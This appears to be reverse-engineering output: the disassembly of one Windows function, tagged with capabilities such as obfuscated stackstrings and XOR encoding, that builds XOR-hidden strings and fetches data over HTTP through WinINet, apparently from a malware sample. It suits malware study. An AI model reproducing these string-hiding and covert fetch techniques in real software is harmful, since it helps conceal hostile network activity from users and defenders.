Function at 0x40bda1
Capabilities:
Contain obfuscated stackstrings
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
cmp dword [0x418dd1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x6c], ebx
je 0x40c084
mov edi, 0x418dd5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40c084
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40c084
mov ecx, dword [0x418dd1]
lea eax, [ebp - 0x270]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x2c], 0x72
xor ecx, ecx
mov byte [ebp - 0x28], 0x20
mov edx, ecx
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x17
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x14
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x17
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x17
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x48
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x72
mov al, byte [ebp - 0x28]
mov byte [ebp - 0x15], cl
mov al, byte [ebp + edx - 0x28]
mov ecx, dword [ebp - 0x2c]
xor cl, al
mov byte [ebp + edx - 0x28], cl
inc edx
cmp edx, 0x13
jb 0x40be64
lea eax, [ebp - 0x28]
mov byte [ebp - 0x15], 0
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x170]
push ebx
push eax
call edi
mov dword [ebp - 0x38], 0x45
xor ebx, ebx
mov byte [ebp - 0x34], 0x48
mov edx, ebx
mov byte [ebp - 0x33], 0x45
mov byte [ebp - 0x32], 0x4f
mov byte [ebp - 0x31], 0x45
mov byte [ebp - 0x30], 0x45
mov al, byte [ebp - 0x34]
mov byte [ebp - 0x2f], bl
mov al, byte [ebp + edx - 0x34]
mov ecx, dword [ebp - 0x38]
xor cl, al
mov byte [ebp + edx - 0x34], cl
inc edx
cmp edx, 5
jb 0x40bec1
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2f], bl
push eax
lea eax, [ebp - 0x170]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x270]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40c081
lea eax, [ebp - 0x68]
push eax
push 0x400
lea eax, [ebp - 0x670]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40bf3e
cmp dword [ebp - 0x68], 0
ja 0x40bf1d
push edi
call ebx
mov dword [ebp - 0x64], 0x19
xor edx, edx
mov byte [ebp - 0x60], 0x4c
mov byte [ebp - 0x5f], 0x19
mov byte [ebp - 0x5e], 0x4b
mov byte [ebp - 0x5d], 0x19
mov byte [ebp - 0x5c], 0x55
mov byte [ebp - 0x5b], 0x19
mov byte [ebp - 0x5a], 0x23
mov byte [ebp - 0x59], 0x19
mov byte [ebp - 0x58], 0x39
mov byte [ebp - 0x57], 0x19
mov byte [ebp - 0x56], 0x3c
mov byte [ebp - 0x55], 0x19
mov byte [ebp - 0x54], 0x6a
mov byte [ebp - 0x53], 0x19
mov byte [ebp - 0x52], 0x22
mov byte [ebp - 0x51], 0x19
mov byte [ebp - 0x50], 0x39
mov byte [ebp - 0x4f], 0x19
mov byte [ebp - 0x4e], 0x57
mov byte [ebp - 0x4d], 0x19
mov byte [ebp - 0x4c], 0x76
mov byte [ebp - 0x4b], 0x19
mov byte [ebp - 0x4a], 0x6d
mov byte [ebp - 0x49], 0x19
mov byte [ebp - 0x48], 0x70
mov byte [ebp - 0x47], 0x19
mov byte [ebp - 0x46], 0x7a
mov byte [ebp - 0x45], 0x19
mov byte [ebp - 0x44], 0x7c
mov byte [ebp - 0x43], 0x19
mov byte [ebp - 0x42], 0x23
mov byte [ebp - 0x41], 0x19
mov byte [ebp - 0x40], 0x39
mov byte [ebp - 0x3f], 0x19
mov byte [ebp - 0x3e], 0x3c
mov byte [ebp - 0x3d], 0x19
mov byte [ebp - 0x3c], 0x6a
mov byte [ebp - 0x3b], 0x19
mov byte [ebp - 0x3a], 0x19
mov al, byte [ebp - 0x60]
mov byte [ebp - 0x39], 0
mov al, byte [ebp + edx - 0x60]
mov ecx, dword [ebp - 0x64]
xor cl, al
mov byte [ebp + edx - 0x60], cl
inc edx
cmp edx, 0x27
jb 0x40bfed
mov byte [ebp - 0x39], 0
xor edx, edx
mov dword [ebp - 0x14], 0x31
mov byte [ebp - 0x10], 0x5a
mov byte [ebp - 0xf], 0x31
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x31
mov byte [ebp - 0xc], 0x5e
mov byte [ebp - 0xb], 0x31
mov byte [ebp - 0xa], 0x52
mov byte [ebp - 9], 0x31
mov byte [ebp - 8], 0x5a
mov byte [ebp - 7], 0x31
mov byte [ebp - 6], 0x54
mov byte [ebp - 5], 0x31
mov byte [ebp - 4], 0x55
mov byte [ebp - 3], 0x31
mov byte [ebp - 2], 0x31
mov al, byte [ebp - 0x10]
mov byte [ebp - 1], 0
mov al, byte [ebp + edx - 0x10]
mov ecx, dword [ebp - 0x14]
xor cl, al
mov byte [ebp + edx - 0x10], cl
inc edx
cmp edx, 0xf
jb 0x40c050
push dword [ebp - 0x6c]
lea eax, [ebp - 0x270]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0041321e
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret